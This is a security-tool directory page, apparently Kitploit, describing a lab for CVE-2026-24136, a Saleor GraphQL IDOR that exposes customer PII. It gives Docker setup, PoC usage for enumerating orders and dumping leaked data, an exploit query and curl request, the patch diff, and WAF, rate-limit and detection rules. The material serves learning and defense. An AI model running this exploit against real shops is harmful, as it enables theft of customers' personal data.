Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-24136-Lab — CVE-2026-24136 | Lab zur Ausnutzung der IDOR-Schwachstelle in Saleor GraphQL – die query order() prüft die Authentifizierung nicht und legt sämtliche PII (E-Mail, Adresse, Telefonnummer) von Kunden offen. Enthält Docker-Umgebung, Seed-Daten-Skript und PoC. CVSS 4.0: 8.7 HOCH. | Kitploit
Tools/GitHubGitHub/blankbire/cve-2026-24136-lab
SchwachstellenanalyseWebanwendungs-ExploitationAPI-SicherheitstestsPenetrationstestsLernen & BildungLabs & Praxis
GitHubblankbire/cve-2026-24136-lab

CVE-2026-24136-Lab

CVE-2026-24136 | Lab zur Ausnutzung der IDOR-Schwachstelle in Saleor GraphQL – die query order() prüft die Authentifizierung nicht und legt sämtliche PII (E-Mail, Adresse, Telefonnummer) von Kunden offen. Enthält Docker-Umgebung, Seed-Daten-Skript und PoC. CVSS 4.0: 8.7 HOCH.

Repository anzeigen
11vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-24136 - Saleor GraphQL IDOR / Unauthenticated PII Exfiltration

Übersicht

FeldDetail
CVE IDCVE-2026-24136
Art der SchwachstelleIDOR - Authorization Bypass Through User-Controlled Key (CWE-639)
SoftwareSaleor E-Commerce-Plattform
Betroffene Versionen3.2.0 - 3.20.109 · 3.21.0 - 3.21.44 · 3.22.0 - 3.22.28
Gepatchte Versionen3.20.110 · 3.21.45 · 3.22.29
CVSS 3.17.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CVSS 4.08.7 HIGH
AuswirkungNicht authentifizierter Akteur kann PII (Name, Adresse, Telefonnummer, E-Mail) jeder Bestellung auslesen
Authentifizierung erforderlich?Nein

Beschreibung der Schwachstelle

Saleor stellt eine GraphQL-API zur Verwaltung von E-Commerce-Bestellungen bereit. Die Abfrage order(id: $id) ermöglicht das Abrufen von Details einer Bestellung anhand der globalen ID. In den betroffenen Versionen wird nicht überprüft, ob der Aufrufer berechtigt ist, diese Bestellung einzusehen.

Jeder, auch völlig anonyme Benutzer ohne Konto, kann diese Abfrage aufrufen und die vollständigen PII des Kunden erhalten: E-Mail, Name, Lieferadresse, Telefonnummer, Anmeldeverlauf.


Laboraufbau

root@kitploit:~
cve-2026-24136-lab/
├── docker-compose.yml          # Môi trường lab (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1               # Script khởi động tự động (Windows PowerShell)
├── setup_lab.sh                # Script khởi động tự động (Linux / WSL / macOS)
├── README.md
└── scripts/
    ├── start_api.sh            # Startup wrapper: patch wsgi bug + gunicorn
    ├── seed_data.py            # Tạo victim accounts + orders có PII
    └── poc_cve_2026_24136.py   # PoC khai thác

Labor starten

Voraussetzungen

  • Docker Desktop (Windows / macOS) oder Docker Engine (Linux)
  • Python 3.8+
  • pip install requests

Windows (PowerShell)

root@kitploit:~
# Cấp quyền thực thi nếu cần
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# Chạy setup tự động
.\setup_lab.ps1

Linux / WSL / macOS (Bash)

root@kitploit:~
chmod +x setup_lab.sh
./setup_lab.sh

Manuell

root@kitploit:~
# 1. Khởi động containers
docker compose up -d

# 2. Chờ API sẵn sàng (~60-90 giây)
#    Kiểm tra: curl http://localhost:8000/health/

# 3. Tạo admin account
docker exec cve_saleor_api python manage.py shell -c \
  "from django.contrib.auth import get_user_model; U=get_user_model(); \
   U.objects.filter(email='[email protected]').exists() or \
   U.objects.create_superuser('[email protected]', 'admin')"

# 4. Populate products/channels
docker exec cve_saleor_api python manage.py populatedb

# 5. Tạo victim data (accounts + orders với PII)
cd scripts
pip install requests
python seed_data.py

Endpoints nach dem Start:

ServiceURL
Saleor GraphQL APIhttp://localhost:8000/graphql/
GraphQL Playgroundhttp://localhost:8000/graphql/
Saleor Dashboardhttp://localhost:9000
Admin[email protected] / admin

PoC verwenden

root@kitploit:~
cd scripts

# Xem giải thích kỹ thuật
python poc_cve_2026_24136.py explain

# Khai thác từ danh sách đã seed (KHUYẾN NGHỊ - Saleor 3.x dùng UUID IDs)
python poc_cve_2026_24136.py file order_ids.json

# Khai thác 1 order bằng base64 global ID trực tiếp
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...

# Enumerate sequential (chỉ hoạt động với Saleor < 3.x dùng integer IDs)
python poc_cve_2026_24136.py enumerate --start 1 --end 100

# Đổi target API
python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json

# Lưu kết quả ra JSON
python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json

Beispielausgabe

root@kitploit:~
[*] Loaded 6 Order IDs from order_ids.json
[*] Querying without authentication...

[*] Trying: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64)

╔══════════════════════════════════════════════════════════════╗
║  [LEAKED] ORDER #41 -- DRAFT                                 ║
╠──────────────────────────────────────────────────────────────╣
║  Email           : [email protected]                         ║
╠──────────────────────────────────────────────────────────────╣
║  Billing Address : Nguyen Van A                              ║
║    Street        : 123 Le Loi Street                         ║
║    City/Post     : HO CHI MINH CITY 700000                   ║
║    Country       : Vietnam                                   ║
║    Phone         : +84901234567                              ║
╚══════════════════════════════════════════════════════════════╝

[*] Successfully leaked 6/6 orders

Root-Cause-Analyse

1. Order-ID-Kodierung

Saleor verwendet die „Global Object Identification" gemäß der Relay GraphQL-Spezifikation. Jedes Objekt wird durch eine globale ID identifiziert, die wie folgt aufgebaut ist:

root@kitploit:~
base64("<TypeName>:<internal_id>")

Bei Bestellungen in Saleor 3.x:

root@kitploit:~
# internal_id là UUID v4
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id   = base64("Order:" + internal_id)
            = "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"

Hinweis: Saleor 2.x verwendete sequenzielle Integer-IDs (Order:1, Order:2, ...), was die Enumeration erleichtert.
Saleor 3.x ist auf UUID umgestiegen, daher muss ein Angreifer die UUID auf andere Weise erhalten (Bestellbestätigungs-E-Mail, URL-Leak usw.).

2. Fehlerhafter Code-Ausschnitt

Datei: saleor/graphql/order/resolvers.py

root@kitploit:~
# PHIÊN BẢN BỊ LỖI (trước khi patch)
def resolve_order(root, info, id):
    """Resolve order by ID – không có bất kỳ kiểm tra authorization nào."""
    _, pk = from_global_id_or_error(id, Order)
    return qs.filter(pk=pk).first()
    # Bất kỳ ai gọi cũng nhận được dữ liệu, không kiểm tra user, không kiểm tra session

Datei: saleor/graphql/order/schema.py

root@kitploit:~
# Query definition, không khai báo permissions
class OrderQueries:
    order = graphene.Field(
        Order,
        description="Look up an order by ID.",
        id=graphene.Argument(graphene.ID, description="ID of the order."),
    )

    def resolve_order(self, info, id):
        return resolvers.resolve_order(info, id)
        # Không có @permission_required, không có guard nào

3. Exploit-GraphQL-Abfrage

Die gesendete Abfrage enthält keinen Authorization-Header:

root@kitploit:~
query ExploitOrder($id: ID!) {
  order(id: $id) {
    number
    status
    userEmail
    billingAddress {
      firstName
      lastName
      streetAddress1
      city
      postalCode
      phone
    }
    shippingAddress {
      firstName
      lastName
      phone
    }
    user {
      email
      firstName
      lastName
      lastLogin
      isActive
    }
  }
}
root@kitploit:~
# Gửi bằng curl, không cần token
curl -s http://localhost:8000/graphql/ \
  -H "Content-Type: application/json" \
  -d '{
    "query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
  }'

# Response (không cần auth):
# {"data":{"order":{"number":"41","userEmail":"[email protected]","billingAddress":{"phone":"+84901234567"}}}}

4. Angriffsablauf

root@kitploit:~
Attacker (anonymous)                     Saleor GraphQL API
        |                                        |
        |── POST /graphql/ ─────────────────────>|
        |   Content-Type: application/json       |
        |   (NO Authorization header)            |
        |   {"query":"query {                    |
        |     order(id: \"T3JkZXI6...\") {       |
        |       userEmail                        |
        |       billingAddress { phone }         |
        |     }                                  |
        |   }"}                                  |
        |                                        |
        |<── HTTP 200 OK ─────────────────────── |
        |   {"data": {"order": {                 |
        |     "userEmail": "[email protected]", |
        |     "billingAddress": {                |
        |       "phone": "+84901234567"          |
        |     }                                  |
        |   }}}                                  |
        |                                        |

Patch-Analyse

Haupt-Patch-Commit

Datei: saleor/graphql/order/resolvers.py

root@kitploit:~
# PHIÊN BẢN ĐÃ PATCH (>= 3.20.110)
def resolve_order(root, info, id):
    """Resolve order by ID với authorization check đầy đủ."""
    _, pk = from_global_id_or_error(id, Order)
    order = qs.filter(pk=pk).first()

    # Guard 1: Staff và App có thể xem mọi order
    if requestor_is_staff_member_or_app(info.context.user, info.context.app):
        return order

    # Guard 2: Unauthenticated user → trả về None (không báo lỗi để tránh leak existence)
    if not info.context.user or not info.context.user.is_authenticated:
        return None

    # Guard 3: Authenticated user chỉ được xem order của chính mình
    if order and order.user_id != info.context.user.pk:
        raise PermissionDenied(
            "You don't have permission to access this order."
        )

    return order

Datei: saleor/graphql/order/schema.py

root@kitploit:~
# Thêm annotation để document permission requirement
class OrderQueries:
    order = graphene.Field(
        Order,
        description=(
            "Look up an order by ID. "
            "Requires authentication. Staff users can access all orders. "
            "Regular users can only access their own orders."
        ),
        id=graphene.Argument(graphene.ID, required=True),
    )

Vergleich vor und nach dem Patch

root@kitploit:~
Request: POST /graphql/
Body: { "query": "{ order(id: \"T3Jk...\") { userEmail } }" }
(Không có Authorization header)

─────────────────────────────────────────────
TRƯỚC PATCH (≤ 3.20.109):
  HTTP 200 OK
  {"data": {"order": {"userEmail": "[email protected]"}}}
  → PII bị lộ

─────────────────────────────────────────────
SAU PATCH (≥ 3.20.110):
  HTTP 200 OK
  {"data": {"order": null}}
  → Trả null, không có lỗi (intentional – không để attacker
    biết order có tồn tại hay không)
─────────────────────────────────────────────

Technische Tiefenanalyse

Warum gibt der Patch null statt eines Fehlers zurück?

Die Rückgabe von null anstelle von PermissionDenied für nicht authentifizierte Anfragen ist eine bewusste Designentscheidung:

  • Bei PermissionDenied wüsste der Angreifer, dass die Bestellung existiert (Existenz-Orakel)
  • Bei null kann der Angreifer nicht unterscheiden zwischen „keine Berechtigung" und „nicht vorhanden"

Dies ist eine timing-sichere Existenzprüfung auf GraphQL-Ebene.

Warum verwenden authentifizierte Benutzer weiterhin raise PermissionDenied?

Bei angemeldeten Benutzern ist eine explizite Fehlermeldung zum Debuggen sinnvoll. Das Existenz-Orakel ist hier kein Problem, weil:

  1. Der authentifizierte Benutzer weiß normalerweise, dass seine eigene Bestellung existiert.
  2. Ein authentifizierter Angreifer hat ein Konto, das gesperrt, verfolgt oder mit Ratenbegrenzung versehen werden kann.

Warum sind UUIDs schwerer zu enumerieren als Integer-IDs?

root@kitploit:~
Integer IDs (Saleor 2.x):
  Order:1, Order:2, ..., Order:N
  → O(N) Anfragen nötig, um N Bestellungen zu enumerieren
  → Angreifer kann Gesamtzahl der Bestellungen ermitteln (via binäre Suche)

UUID IDs (Saleor 3.x):
  Order:460d1e27-2b0b-4897-84c9-64b524b08d64
  → Suchraum: 2^122 (UUID v4 hat 122 zufällige Bits)
  → Brute-Force praktisch unmöglich
  → Die ID kann jedoch über Bestellbestätigungs-E-Mails, URLs im Dashboard,
    API-Antworten, Logs preisgegeben werden → hat der Angreifer eine ID, ist
    der Exploit trotzdem möglich

CVSS-Vektor-Aufschlüsselung

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

AV:N  – Angriffsvektor: Netzwerk    (Exploit über Internet)
AC:L  – Angriffskomplexität: Niedrig (keine besonderen Bedingungen)
PR:N  – Erforderliche Berechtigungen: Keine (kein Konto nötig)
UI:N  – Benutzerinteraktion: Keine (kein Opfer-Eingriff)
S:U   – Auswirkungsbereich: Unverändert (nur Saleor-API betroffen)
C:H   – Vertraulichkeit: Hoch (vollständige PII offengelegt)
I:N   – Integrität: Keine (Daten können nicht geändert werden)
A:N   – Verfügbarkeit: Keine (kein DoS)

Abhilfe & Verteidigung

1. Sofort patchen (höchste Priorität)

root@kitploit:~
# Kiểm tra phiên bản hiện tại
pip show saleor | grep Version

# Nâng cấp lên phiên bản đã vá
pip install "saleor>=3.20.110"   # nếu đang dùng dòng 3.20.x
pip install "saleor>=3.21.45"   # nếu đang dùng dòng 3.21.x
pip install "saleor>=3.22.29"   # nếu đang dùng dòng 3.22.x

2. Temporäre WAF-Regel (falls nicht sofort patchbar)

Anonyme Benutzer daran hindern, die order()-Abfrage aufzurufen:

root@kitploit:~
# Nginx – block GraphQL order query từ unauthenticated requests
location /graphql/ {
    # Nếu không có Authorization header và body chứa "order("
    if ($http_authorization = "") {
        # Chặn các query có dấu hiệu khai thác
        # Lưu ý: đây chỉ là giải pháp tạm, không thay thế patch
    }
    proxy_pass http://saleor_api;
}

Mit AWS WAF / CloudFront:

root@kitploit:~
{
  "Name": "BlockAnonymousOrderQuery",
  "Priority": 1,
  "Action": {"Block": {}},
  "Statement": {
    "AndStatement": {
      "Statements": [
        {
          "ByteMatchStatement": {
            "SearchString": "\"order\"",
            "FieldToMatch": {"Body": {}},
            "TextTransformations": [{"Priority": 0, "Type": "NONE"}],
            "PositionalConstraint": "CONTAINS"
          }
        },
        {
          "ByteMatchStatement": {
            "SearchString": "Authorization",
            "FieldToMatch": {"SingleHeader": {"Name": "authorization"}},
            "TextTransformations": [{"Priority": 0, "Type": "NONE"}],
            "PositionalConstraint": "EXACTLY",
            "NegatedStatement": true
          }
        }
      ]
    }
  }
}

3. Rate Limiting

root@kitploit:~
# Giới hạn requests từ 1 IP không có auth
limit_req_zone $binary_remote_addr zone=graphql_anon:10m rate=10r/m;

location /graphql/ {
    limit_req zone=graphql_anon burst=5 nodelay;
    proxy_pass http://saleor_api;
}

4. Monitoring / Detection

Anzeichen für Exploitation in Access-Logs:

root@kitploit:~
# Phát hiện: 1 IP gửi nhiều GraphQL requests không có Authorization
grep 'POST /graphql/' access.log \
  | awk '$9 == 200 && !/Authorization/' \
  | awk '{print $1}' \
  | sort | uniq -c | sort -rn \
  | awk '$1 > 20'  # Alert nếu > 20 requests từ 1 IP

# Phát hiện pattern "order" trong request body không có auth
# (cần JSON body logging)

Alert-Regel für Grafana / Datadog:

root@kitploit:~
alert: SaleorAnonOrderQuery
expr: |
  rate(nginx_http_requests_total{
    path="/graphql/",
    method="POST",
    has_auth_header="false"
  }[5m]) > 5
severity: warning
annotations:
  summary: "Potential CVE-2026-24136 exploitation attempt"
  description: "High rate of unauthenticated GraphQL POST requests"

Labor bereinigen

root@kitploit:~
# Dừng và xóa containers + volumes (xóa toàn bộ data)
docker compose down -v

# Chỉ dừng containers (giữ data)
docker compose stop

Referenzen

  • Saleor Security Advisory
  • OWASP - Broken Object Level Authorization (BOLA/IDOR)
  • CWE-639 - Authorization Bypass Through User-Controlled Key
  • Relay Global Object Identification Spec

Warnung: Dieses Labor dient ausschließlich Forschungs-, Lern- und Sicherheitsberichtszwecken.
Verwenden Sie den PoC nicht auf realen Systemen ohne schriftliche Genehmigung.

Tool herunterladen